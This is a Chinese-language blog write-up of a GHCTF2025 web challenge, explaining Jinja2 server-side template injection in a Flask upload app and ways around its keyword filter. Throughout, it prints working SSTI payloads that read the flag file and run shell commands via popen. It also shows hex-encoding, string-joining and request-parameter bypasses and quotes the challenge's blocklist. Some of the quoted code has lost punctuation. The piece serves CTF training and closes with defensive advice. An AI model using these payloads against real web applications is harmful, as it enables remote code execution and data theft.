GHCTF2025-WEB进阶指南:SSTI模板注入与WAF绕过实战

张开发
2026/4/16 14:10:15 15 分钟阅读

分享文章

GHCTF2025-WEB进阶指南:SSTI模板注入与WAF绕过实战
1. SSTI模板注入基础与实战价值在GHCTF2025这类CTF赛事中WEB题目常常会设置SSTIServer-Side Template Injection模板注入漏洞作为考点。我第一次接触SSTI时完全摸不着头脑直到踩了无数坑后才明白它的精妙之处。简单来说SSTI就是当服务端将用户输入直接拼接到模板中渲染时攻击者通过注入恶意模板代码实现RCE远程代码执行的漏洞。为什么SSTI值得专门研究根据我在多个CTF赛事的实战经验SSTI题目通常具备三个特点一是漏洞原理与框架特性强相关需要理解模板引擎的工作机制二是绕过方式多样能充分考察选手的思维灵活性三是杀伤力大一个成功的payload往往能直接获取服务器权限。以这道GHCTF2025的题目为例表面是文件上传功能实则是考察Jinja2模板引擎的注入技巧。2. 题目环境分析与漏洞定位2.1 初始代码审计误区当我第一次看到这个题目时第一反应是检查文件上传漏洞。题目界面确实有个上传表单代码中也存在典型的文件处理逻辑app.route(/, methods[GET, POST]) def upload_file(): if request.method POST: if file not in request.files: return jsonify({error: 未上传文件}), 400 file request.files[file] if file.filename : return jsonify({error: 请选择文件}), 400但仔细审计后发现服务端做了严格的白名单限制仅允许txt/log/text/md/jpg/png/gif使用secure_filename处理文件名还检查文件内容是否包含危险关键词。更关键的是上传的文件不会被解析执行只会被读取内容返回。这些防护措施基本堵死了常规的文件上传利用路径。2.2 关键漏洞点定位真正的突破口在view_file函数的最后几行tmp_str !DOCTYPE html...pre{data}/pre... return render_template_string(tmp_str)这里直接将文件内容嵌入HTML模板后渲染。如果文件内容包含Jinja2模板语法就会被引擎解析执行。我上传了一个内容为{{7*7}}的test.txt文件访问后发现显示的是49而不是原始内容这就确认了SSTI漏洞的存在。3. WAF绕过技术深度解析3.1 防护机制分析题目设置了严格的关键词过滤dangerous_keywords [_, os, subclasses, __builtins__, __globals__,flag]这些恰好是构造SSTI payload最常用的关键词。比如常规的payload{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__[open](cat /flag).read()}}几乎触发了所有过滤词。这就需要我们找到既不使用黑名单词又能实现相同功能的替代方案。3.2 十六进制编码绕过第一个绕过思路是用十六进制表示敏感字符。例如下划线_的ASCII码是\x5f可以这样改造payload{{ lipsum[\x5f\x5fglobals\x5f\x5f][\x5f\x5fbuiltins\x5f\x5f][open](/fla\x67).read() }}这里有几个关键点用\x5f替代所有下划线将flag拆分为fla\x67使用[]访问属性替代点号选择lipsum这个内置对象作为起点Flask默认加载3.3 字符拼接与属性访问技巧当直接编码仍被拦截时可以采用字符串拼接{{ getattr(self, .join([_,_,c,l,a,s,s,_,_])) }}或者利用Python的字符串特性{{ [__class__.replace( ,)] }}这些方法通过动态构造属性名可以有效避开静态关键词检测。4. 高阶绕过request参数注入4.1 原理与优势当编码绕过仍然受限时request参数注入提供了更灵活的解决方案。其核心思想是将敏感关键词通过URL参数传递避免直接出现在payload中{{ [request.args.x1][request.args.x2][0][request.args.x3]()[137][request.args.x4][request.args.x5][popen](cat /f*).read() }} ?x1__class__x2__bases__x3__subclasses__x4__init__x5__globals__这种方式的优势在于payload主体不包含任何敏感词通过参数动态控制执行流程可以随时调整参数值而不必重构payload4.2 完整攻击链构建实际攻击时需要分步骤实施上传包含基本payload的文本文件访问文件时附加精心构造的查询参数通过通配符或编码方式绕过路径检测使用管道或重定向处理命令输出例如获取flag的完整URL可能是http://target.com/file/exploit.txt?x1__class__x2__bases__x3__subclasses__x4__init__x5__globals__5. 防御方案与实战建议虽然本文重点在攻击技术但作为负责任的选手了解防御同样重要。在真实环境中防护SSTI需要避免直接渲染用户输入使用安全的模板上下文实施严格的输入过滤禁用不必要的模板功能对于CTF选手我的实战建议是准备多种编码转换工具收集常见框架的payload模板理解不同过滤规则的绕过思路善用Python特性如字符串操作、属性访问等在最近的一次比赛中我就遇到了过滤所有特殊字符的变态WAF最终是通过request.cookies配合str.format()才成功绕过。这种经验告诉我SSTI绕过的核心不是死记payload而是深入理解模板引擎的工作原理和语言特性。

更多文章